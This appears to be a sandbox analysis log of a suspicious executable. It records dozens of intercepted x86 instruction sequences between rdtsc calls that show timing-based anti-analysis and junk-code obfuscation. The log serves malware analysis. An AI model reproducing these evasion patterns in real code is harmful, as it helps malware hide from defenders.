Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C305FB second address: 4C30623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD2886DB1AAh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30623 second address: 4C30660 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, B5h 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c mov cx, 8597h 0x00000010 mov al, E4h 0x00000012 popad 0x00000013 push dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FD28914AC85h 0x0000001d jmp 00007FD28914AC7Bh 0x00000022 popfd 0x00000023 push eax 0x00000024 push edx 0x00000025 mov bh, ah 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30763 second address: 4C30788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cl, dl 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30788 second address: 4C307C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD28914AC7Eh 0x00000008 pop eax 0x00000009 mov ch, dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 jmp 00007FD28914AC88h 0x00000015 movzx esi, dx 0x00000018 popad 0x00000019 leave 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 pop edx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C307C6 second address: 4C307CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C307CC second address: 4C307D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C307D0 second address: 4C201D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007FD2886DB1A7h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FD28D24479Ch 0x00000031 mov edi, edi 0x00000033 jmp 00007FD2886DB1B0h 0x00000038 xchg eax, ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C201D0 second address: 4C20226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD28914AC82h 0x00000008 pop esi 0x00000009 call 00007FD28914AC7Bh 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007FD28914AC86h 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD28914AC87h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20226 second address: 4C20268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FD2886DB1AEh 0x00000010 push FFFFFFFEh 0x00000012 pushad 0x00000013 movzx ecx, bx 0x00000016 movsx edi, cx 0x00000019 popad 0x0000001a push 49D3ED13h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20268 second address: 4C2026C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2026C second address: 4C20272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20272 second address: 4C202A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 2BDAB135h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD28914AC85h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C202A3 second address: 4C202A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C202A9 second address: 4C202AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C202AD second address: 4C202DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push F68B4DC7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2886DB1B2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C202DF second address: 4C202E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C202E5 second address: 4C202E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C202E9 second address: 4C202ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C202ED second address: 4C2035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 7F1DDDA9h 0x0000000f pushad 0x00000010 mov dl, 13h 0x00000012 pushfd 0x00000013 jmp 00007FD2886DB1B0h 0x00000018 add ah, FFFFFFD8h 0x0000001b jmp 00007FD2886DB1ABh 0x00000020 popfd 0x00000021 popad 0x00000022 mov eax, dword ptr fs:[00000000h] 0x00000028 jmp 00007FD2886DB1B6h 0x0000002d nop 0x0000002e pushad 0x0000002f mov ax, 0E4Dh 0x00000033 mov ecx, 06594249h 0x00000038 popad 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FD2886DB1B1h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2035E second address: 4C20362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20362 second address: 4C20368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20368 second address: 4C203BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD28914AC7Ah 0x00000009 jmp 00007FD28914AC85h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FD28914AC86h 0x0000001c adc cl, 00000058h 0x0000001f jmp 00007FD28914AC7Bh 0x00000024 popfd 0x00000025 mov dx, ax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C203BD second address: 4C203C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C203C3 second address: 4C203C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C203C7 second address: 4C2041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b jmp 00007FD2886DB1B3h 0x00000010 xchg eax, ebx 0x00000011 pushad 0x00000012 jmp 00007FD2886DB1B4h 0x00000017 jmp 00007FD2886DB1B2h 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD2886DB1AEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2041F second address: 4C20431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD28914AC7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20431 second address: 4C20440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20440 second address: 4C20444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20444 second address: 4C2044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2044A second address: 4C2045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD28914AC7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2045C second address: 4C20460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20460 second address: 4C2053F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FD28914AC7Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 pushad 0x00000013 movzx esi, bx 0x00000016 jmp 00007FD28914AC89h 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007FD28914AC80h 0x00000022 sub ecx, 2C85FEC8h 0x00000028 jmp 00007FD28914AC7Bh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, edi 0x00000030 jmp 00007FD28914AC86h 0x00000035 push eax 0x00000036 jmp 00007FD28914AC7Bh 0x0000003b xchg eax, edi 0x0000003c pushad 0x0000003d mov bl, ah 0x0000003f mov edx, 59B78E04h 0x00000044 popad 0x00000045 mov eax, dword ptr [75AF4538h] 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FD28914AC89h 0x00000051 sub esi, 680BCFF6h 0x00000057 jmp 00007FD28914AC81h 0x0000005c popfd 0x0000005d mov dh, cl 0x0000005f popad 0x00000060 xor dword ptr [ebp-08h], eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FD28914AC85h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2053F second address: 4C20545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20545 second address: 4C20565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD28914AC7Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20565 second address: 4C2056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2056B second address: 4C2062F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d call 00007FD28914AC7Ch 0x00000012 pushfd 0x00000013 jmp 00007FD28914AC82h 0x00000018 xor al, 00000038h 0x0000001b jmp 00007FD28914AC7Bh 0x00000020 popfd 0x00000021 pop esi 0x00000022 mov cx, dx 0x00000025 popad 0x00000026 push eax 0x00000027 jmp 00007FD28914AC82h 0x0000002c nop 0x0000002d pushad 0x0000002e mov cl, C5h 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FD28914AC89h 0x00000037 sub ax, C836h 0x0000003c jmp 00007FD28914AC81h 0x00000041 popfd 0x00000042 mov ax, 0827h 0x00000046 popad 0x00000047 popad 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b jmp 00007FD28914AC7Ah 0x00000050 mov dword ptr fs:[00000000h], eax 0x00000056 jmp 00007FD28914AC80h 0x0000005b mov dword ptr [ebp-18h], esp 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 mov di, ax 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2062F second address: 4C20664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000018h] 0x00000011 jmp 00007FD2886DB1B8h 0x00000016 mov ecx, dword ptr [eax+00000FDCh] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20664 second address: 4C20668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20668 second address: 4C2066E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2066E second address: 4C206B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b jmp 00007FD28914AC80h 0x00000010 jns 00007FD28914ACAAh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD28914AC87h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C206B7 second address: 4C206DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 77FAh 0x00000007 push edi 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add eax, ecx 0x0000000e jmp 00007FD2886DB1ADh 0x00000013 mov ecx, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov ax, 2749h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C206DC second address: 4C2074E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD28914AC86h 0x00000008 add eax, 1ECCA598h 0x0000000e jmp 00007FD28914AC7Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007FD28914AC88h 0x0000001c sub ecx, 2F8ACFF8h 0x00000022 jmp 00007FD28914AC7Bh 0x00000027 popfd 0x00000028 popad 0x00000029 test ecx, ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD28914AC85h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1043A second address: 4C1043E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1043E second address: 4C1044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ch, D1h 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1044E second address: 4C10452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10452 second address: 4C10456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10456 second address: 4C1045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1045C second address: 4C1048F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD28914AC7Dh 0x00000008 pop ecx 0x00000009 movsx edx, ax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov cl, 64h 0x00000014 call 00007FD28914AC7Bh 0x00000019 mov dl, cl 0x0000001b pop edi 0x0000001c popad 0x0000001d sub esp, 2Ch 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov edi, eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1048F second address: 4C104CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD2886DB1AFh 0x0000000a adc ecx, 4A17F17Eh 0x00000010 jmp 00007FD2886DB1B9h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C104CB second address: 4C104D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C104D1 second address: 4C104F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, 5D43h 0x00000011 mov bx, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C104F3 second address: 4C1055C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007FD28914AC87h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e jmp 00007FD28914AC86h 0x00000013 xchg eax, edi 0x00000014 jmp 00007FD28914AC80h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov esi, 7E72B4F3h 0x00000022 jmp 00007FD28914AC88h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1055C second address: 4C10562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10562 second address: 4C10585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD28914AC7Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1061A second address: 4C10672 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov ax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FD2886DB40Ah 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FD2886DB1ABh 0x00000018 adc eax, 1B572C9Eh 0x0000001e jmp 00007FD2886DB1B9h 0x00000023 popfd 0x00000024 jmp 00007FD2886DB1B0h 0x00000029 popad 0x0000002a lea ecx, dword ptr [ebp-14h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10672 second address: 4C1068F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10711 second address: 4C1072D instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD2886DB1AFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1072D second address: 4C10733 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10733 second address: 4C10742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10742 second address: 4C1075D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD28914AC80h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107BE second address: 4C107C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107C2 second address: 4C107C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107C8 second address: 4C107CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107CE second address: 4C107D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107D2 second address: 4C107D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107D6 second address: 4C1085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FD2F9FD8924h 0x0000000e jmp 00007FD28914AC84h 0x00000013 js 00007FD28914AD07h 0x00000019 jmp 00007FD28914AC80h 0x0000001e cmp dword ptr [ebp-14h], edi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FD28914AC7Dh 0x0000002a and ecx, 39F3E1F6h 0x00000030 jmp 00007FD28914AC81h 0x00000035 popfd 0x00000036 pushfd 0x00000037 jmp 00007FD28914AC80h 0x0000003c adc ax, 8B18h 0x00000041 jmp 00007FD28914AC7Bh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1085D second address: 4C10863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10863 second address: 4C10867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10867 second address: 4C1086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1086B second address: 4C10885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FD2F9FD889Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD28914AC7Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10885 second address: 4C108C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 71h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebx, dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD2886DB1ABh 0x00000016 and ch, 0000003Eh 0x00000019 jmp 00007FD2886DB1B9h 0x0000001e popfd 0x0000001f mov edi, eax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C108C1 second address: 4C108DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C108DA second address: 4C108E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C108E1 second address: 4C10919 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f jmp 00007FD28914AC89h 0x00000014 popad 0x00000015 rdtsc
